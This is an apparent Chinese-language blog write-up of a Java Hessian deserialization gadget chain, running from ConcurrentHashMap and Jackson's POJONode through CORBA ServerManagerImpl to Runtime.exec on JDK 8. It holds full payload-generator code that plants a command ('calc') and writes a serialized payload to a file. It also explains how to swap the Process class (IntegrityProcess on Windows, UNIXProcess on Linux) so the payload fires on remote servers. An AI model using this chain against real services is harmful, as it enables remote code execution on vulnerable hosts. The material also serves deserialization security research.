链子分析
com.sun.corba.se.impl.activation.ServerManagerImpl 类的 getActiveServers 方法代码如下:
public int[] getActiveServers()
{
ServerTableEntry entry;
int[] list = null;
synchronized (serverTable) {
// unlike vectors, list is not synchronized
ArrayList servers = new ArrayList(0);
Iterator serverList = serverTable.keySet().iterator();
try {
while (serverList.hasNext()) {
Integer key = (Integer) serverList.next();
// get an entry
entry = (ServerTableEntry) serverTable.get(key);
if (entry.isValid() && entry.isActive()) {
servers.add(entry);
}
}
.............
}
调用了 com.sun.corba.se.impl.activation.ServerTableEntry 类的 isValid 方法,代码如下:
synchronized boolean isValid(){
if ((state == ACTIVATING) || (state == HELD_DOWN)) {
if (debug)
printDebug( "isValid", "returns true" ) ;
return true;
}
try {
int exitVal = process.exitValue();
} catch (IllegalThreadStateException e1) {
return true;
}
if (state == ACTIVATED) {
if (activateRetryCount < ActivationRetryMax) {
if (debug)
printDebug("isValid", "reactivating server");
activateRetryCount++;
activate();
return true;
}
.................
其中会判断 process 属性对应的进程是否已经 exited,如果已经 exit 了则进入 activate 方法,代码如下:
synchronized void activate() throws org.omg.CORBA.SystemException {
state = ACTIVATED;
try {
if (debug)
printDebug("activate", "activating server");
process = Runtime.getRuntime().exec(activationCmd);
} catch (Exception e) {
deActivate();
if (debug)
printDebug("activate", "throwing premature process exit");
throw wrapper.unableToStartProcess() ;
}
}
执行了 Runtime#exec 方法。链子中的 Process,ServerTableEntry 等类没有实现 Serializable 接口,所以只能在 Hessian 反序列化中使用。
链子的入口是 toString + getter ,这里用的是 ConcurrentHashMap 和 jackson, 依赖如下:
<dependencies>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.19.2</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.19.2</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.19.2</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
</dependency>
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.66</version>
</dependency>
</dependencies>
测试代码:
public class Main {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();
ServerManagerImpl serverManager = (ServerManagerImpl) newInstanceWithoutConstructor(ServerManagerImpl.class);
ServerTableEntry serverTableEntry = (ServerTableEntry) newInstanceWithoutConstructor(ServerTableEntry.class);
HashMap map = new HashMap();
map.put(1,serverTableEntry);
Process process = new ProcessBuilder("cmd", "/c", "exit").start();
setFieldValue(serverManager, "serverTable", map);
setFieldValue(serverTableEntry, "process", process);
setFieldValue(serverTableEntry,"state",2);
setFieldValue(serverTableEntry, "activationCmd", "calc");
POJONode poJoNode = new POJONode(serverManager);
AudioFileFormat.Type t = new AudioFileFormat.Type(null, null);
Map finalMap = makeMap(t, poJoNode);
byte[] data = ser(finalMap);
Files.write(Paths.get("ser.bin"), data);
}
public static ConcurrentHashMap makeMap ( Object v1, Object v2 ) throws Exception {
// v1.equals(v2);
Object conEntry1 = newInstanceWithoutConstructor(Class.forName("java.util.concurrent.ConcurrentHashMap$MapEntry"));
Object conEntry2 = newInstanceWithoutConstructor(Class.forName("java.util.concurrent.ConcurrentHashMap$MapEntry"));
setFieldValue(conEntry1, "key", v1);
setFieldValue(conEntry1, "val", v2);
setFieldValue(conEntry2, "key", v2);
setFieldValue(conEntry2, "val", v1);
ConcurrentHashMap s = new ConcurrentHashMap();
setFieldValue(s, "sizeCtl", 2);
Class nodeC;
try {
nodeC = Class.forName("java.util.concurrent.ConcurrentHashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.concurrent.ConcurrentHashMap$Entry");
}
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, conEntry1, conEntry1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, conEntry2, conEntry2, null));
setFieldValue(s, "table", tbl);
Field table = ConcurrentHashMap.class.getDeclaredField("table");
table.setAccessible(true);
table.set(s, tbl);
return s;
}
private static byte[] ser(Object o) throws Exception{
ByteArrayOutputStream bao = new ByteArrayOutputStream();
HessianOutput output = new HessianOutput(bao);
output.getSerializerFactory().setAllowNonSerializable(true);
output.writeObject(o);
return bao.toByteArray();
}
private static Object unser(byte[] in) throws Exception{
ByteArrayInputStream bai = new ByteArrayInputStream(in);
HessianInput input = new HessianInput(bai);
Object o = input.readObject();
return o;
}
}
测试发现,反序列化过程中会报错。
坑点分析
上面的链子中使用了 ProcessImpl 作为 Process 实现类,并且是在 Windows 环境下。该类的 exitValue 方法代码如下:
public int exitValue() {
int exitCode = getExitCodeProcess(handle);
if (exitCode == STILL_ACTIVE)
throw new IllegalThreadStateException("process has not exited");
return exitCode;
}
其中 getExitCodeProcess 方法是 native 方法,在 Windows 下会根据 handle 判断对应的进程是否已经 exited。上面的 POC 中是在生成序列化 Payload 时调用了 new ProcessBuilder().start() 获得了一个 ProcessImpl 实例,而在反序列化过程中会根据 handle 找到序列化过程中创建的进程。
这就是为什么这条链子在本地 debug 时有可以触发,因为如果有断点卡住使得 Process 正常退出的话,反序列化时 exitCode == STILL_ACTIVE 成立。如果不是 debug 模式,则可能在反序列化时 Process 还没有 exit 导致报错所以无法触发。
所以在实战环境中,受害者服务器与攻击者的机器自然不可能是同一台机器,也更不可能在同一进程下。因此反序列化时无法通过 handle 定位到相应进程,爆出了句柄无效的错误:

所以上面的链子没有意义。
可用链子
Windows JDK 下找到 Process 的另一个实现类:com.sun.deploy.nativesandbox.IntegrityProcess,该类的 exitValue 方法代码如下:
public int exitValue() {
return 0;
}
直接返回 0,不会进行任何判断也不会报错,也就不存在前面的限制。
修改代码为:
Class ProcessImplClass = Class.forName("com.sun.deploy.nativesandbox.IntegrityProcess");
Process process = (Process) newInstanceWithoutConstructor(ProcessImplClass);
这样生成的序列化 Payload 就可以在远程正常触发了。
而对于 Linux 环境下直接使用 UNIXProcess 类作为 Process 实现类即可,该类的 exitValue 方法代码如下:
public synchronized int exitValue() {
if (!hasExited) {
throw new IllegalThreadStateException("process hasn't exited");
}
return exitcode;
}
在生成序列化 Payload 时手动指定 hasExited 属性的值即可,也不会有进程限制。
这条链子只有在 JDK8 及以下使用,高版本 JDK 把 ServerManagerImpl 等类删除了。